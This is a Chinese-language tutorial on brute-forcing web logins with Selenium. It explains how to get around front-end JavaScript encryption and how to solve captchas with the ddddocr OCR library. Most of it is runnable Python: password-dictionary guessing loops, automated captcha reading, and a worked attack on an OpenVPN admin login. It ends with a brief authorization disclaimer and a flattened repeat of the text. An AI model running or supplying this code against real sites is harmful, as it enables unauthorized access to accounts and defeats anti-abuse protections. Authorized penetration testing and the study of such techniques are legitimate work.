利用Selenium绕过前端js加密及验证码爆破
字数 752 2025-08-26 22:11:45

Selenium绕过前端JS加密及验证码爆破技术详解

一、Selenium技术概述

Selenium是一个自动化测试工具,可以模拟真实用户对网页元素进行操作。与Burp Suite等工具直接发送数据包不同,Selenium能够完整模拟用户操作流程,包括:

  • 打开网页
  • 选中输入框
  • 输入内容
  • 点击按钮
  • 自动处理前端校验逻辑

技术优势

  1. 绕过前端JS加密:当网站采用流量校验算法对数据包加密时,传统爆破工具难以处理
  2. 模拟真实用户行为:避免被反爬机制检测
  3. 支持完整操作流程:包括验证码处理等复杂交互

二、环境准备

1. 安装组件

pip3 install selenium
pip3 install ddddocr  # 用于验证码识别

2. 浏览器驱动

  • 下载与浏览器版本匹配的驱动程序(如chromedriver)
  • 确保浏览器主版本号与驱动主版本号相同
  • 将驱动放在可访问路径(如C:\WebDriver\bin\chromedriver.exe

三、基础使用

1. 初始化浏览器

from selenium import webdriver

driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')

2. 常用操作

# 打开网页
driver.get('http://example.com')

# 刷新页面
driver.refresh()

# 获取页面标题
title = driver.title

# 隐式等待(全局等待时间)
driver.implicitly_wait(0.5)

3. 元素定位方法

from selenium.webdriver.common.by import By

# 通过NAME定位
search_box = driver.find_element(by=By.NAME, value="q")

# 通过ID定位
search_button = driver.find_element(by=By.ID, value="btnK")

# 通过XPATH定位(推荐)
find_pass = driver.find_element(by=By.XPATH, value='//*[@id="app"]/div/div[1]/div[2]/div[1]/div/div[2]/input')

4. 元素操作

# 输入内容
search_box.send_keys("Selenium")

# 点击元素
search_button.click()

# 清除内容
search_box.clear()

# 获取元素属性
value = search_box.get_attribute("value")

5. 关闭会话

driver.quit()

四、爆破实战流程

1. 基础爆破实现

from time import sleep

def main():
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')
    driver.get('http://target.com/login')
    
    # 定位元素
    username = driver.find_element(by=By.XPATH, value='//input[@name="username"]')
    password = driver.find_element(by=By.XPATH, value='//input[@name="password"]')
    submit = driver.find_element(by=By.XPATH, value='//button[@type="submit"]')
    
    # 读取密码字典
    with open('pass.txt', 'r') as f:
        for pwd in f:
            pwd = pwd.strip()
            username.send_keys('admin')
            password.send_keys(pwd)
            submit.click()
            sleep(1)
            
            # 判断是否登录成功
            if "登录成功" in driver.page_source:
                print(f"爆破成功,密码为: {pwd}")
                break

2. 验证码处理

使用ddddocr识别验证码:

import ddddocr

# 定位验证码元素并截图
captcha = driver.find_element(by=By.XPATH, value='//img[@id="captcha"]')
captcha.screenshot("captcha.png")

# 识别验证码
ocr = ddddocr.DdddOcr()
with open("captcha.png", 'rb') as f:
    image = f.read()
captcha_text = ocr.classification(image)

# 输入验证码
captcha_input = driver.find_element(by=By.XPATH, value='//input[@name="captcha"]')
captcha_input.send_keys(captcha_text)

3. 完整验证码爆破示例

from time import sleep
import ddddocr

def captcha_brute():
    driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe')
    driver.get('http://target.com/login')
    
    with open('pass.txt', 'r') as f:
        for pwd in f:
            pwd = pwd.strip()
            
            # 处理验证码
            captcha = driver.find_element(by=By.XPATH, value='//img[@id="captcha"]')
            captcha.screenshot("captcha.png")
            
            ocr = ddddocr.DdddOcr()
            with open("captcha.png", 'rb') as img:
                captcha_text = ocr.classification(img.read())
            
            # 填写表单
            driver.find_element(by=By.NAME, value="username").send_keys('admin')
            driver.find_element(by=By.NAME, value="password").send_keys(pwd)
            driver.find_element(by=By.NAME, value="captcha").send_keys(captcha_text)
            
            # 提交
            driver.find_element(by=By.XPATH, value='//button[@type="submit"]').click()
            sleep(1)
            
            # 验证结果
            if "login success" in driver.page_source:
                print(f"成功! 密码: {pwd}")
                break

五、高级技巧

1. 判断登录成功的方式

  • 检查页面URL变化
if driver.current_url == 'https://target.com/dashboard':
    print("登录成功")
  • 检查特定元素内容
success = driver.find_element(by=By.XPATH, value='//div[@class="message"]').text
if "success" in success:
    print("登录成功")

2. 处理HTTPS证书错误

options = webdriver.ChromeOptions()
options.add_argument('ignore-certificate-errors')
driver = webdriver.Chrome(options=options)

3. 多标签页控制

from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.keys import Keys

# 打开新标签页
ActionChains(driver).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()

六、实战案例:OpenVPN爆破

def openvpn_brute():
    options = webdriver.ChromeOptions()
    options.add_argument('ignore-certificate-errors')
    driver = webdriver.Chrome(options=options)
    
    driver.get('https://vpn.target.com/admin/')
    
    with open('pass.txt', 'r') as f:
        for pwd in f:
            pwd = pwd.strip()
            
            driver.find_element(by=By.ID, value="username").send_keys('openvpn')
            driver.find_element(by=By.ID, value="password").send_keys(pwd)
            driver.find_element(by=By.ID, value="submit-button").click()
            
            if driver.current_url == 'https://vpn.target.com/admin/status_overview':
                print(f"成功! 密码: {pwd}")
                break

七、注意事项

  1. 版本兼容性:确保浏览器与驱动版本匹配
  2. 反爬机制:适当添加延迟,避免触发防护
  3. 元素定位:优先使用XPath,但要注意页面结构变化
  4. 验证码识别:ddddocr对简单验证码效果较好,复杂验证码可能需要其他方案
  5. 异常处理:添加try-catch块处理元素未找到等异常

通过以上技术,可以有效地绕过前端加密和验证码机制,实现自动化爆破测试。请确保仅在授权范围内使用这些技术。

Selenium绕过前端JS加密及验证码爆破技术详解 一、Selenium技术概述 Selenium是一个自动化测试工具,可以模拟真实用户对网页元素进行操作。与Burp Suite等工具直接发送数据包不同,Selenium能够完整模拟用户操作流程,包括: 打开网页 选中输入框 输入内容 点击按钮 自动处理前端校验逻辑 技术优势 绕过前端JS加密:当网站采用流量校验算法对数据包加密时,传统爆破工具难以处理 模拟真实用户行为:避免被反爬机制检测 支持完整操作流程:包括验证码处理等复杂交互 二、环境准备 1. 安装组件 2. 浏览器驱动 下载与浏览器版本匹配的驱动程序(如chromedriver) 确保浏览器主版本号与驱动主版本号相同 将驱动放在可访问路径(如 C:\WebDriver\bin\chromedriver.exe ) 三、基础使用 1. 初始化浏览器 2. 常用操作 3. 元素定位方法 4. 元素操作 5. 关闭会话 四、爆破实战流程 1. 基础爆破实现 2. 验证码处理 使用ddddocr识别验证码: 3. 完整验证码爆破示例 五、高级技巧 1. 判断登录成功的方式 检查页面URL变化 检查特定元素内容 2. 处理HTTPS证书错误 3. 多标签页控制 六、实战案例:OpenVPN爆破 七、注意事项 版本兼容性 :确保浏览器与驱动版本匹配 反爬机制 :适当添加延迟,避免触发防护 元素定位 :优先使用XPath,但要注意页面结构变化 验证码识别 :ddddocr对简单验证码效果较好,复杂验证码可能需要其他方案 异常处理 :添加try-catch块处理元素未找到等异常 通过以上技术,可以有效地绕过前端加密和验证码机制,实现自动化爆破测试。请确保仅在授权范围内使用这些技术。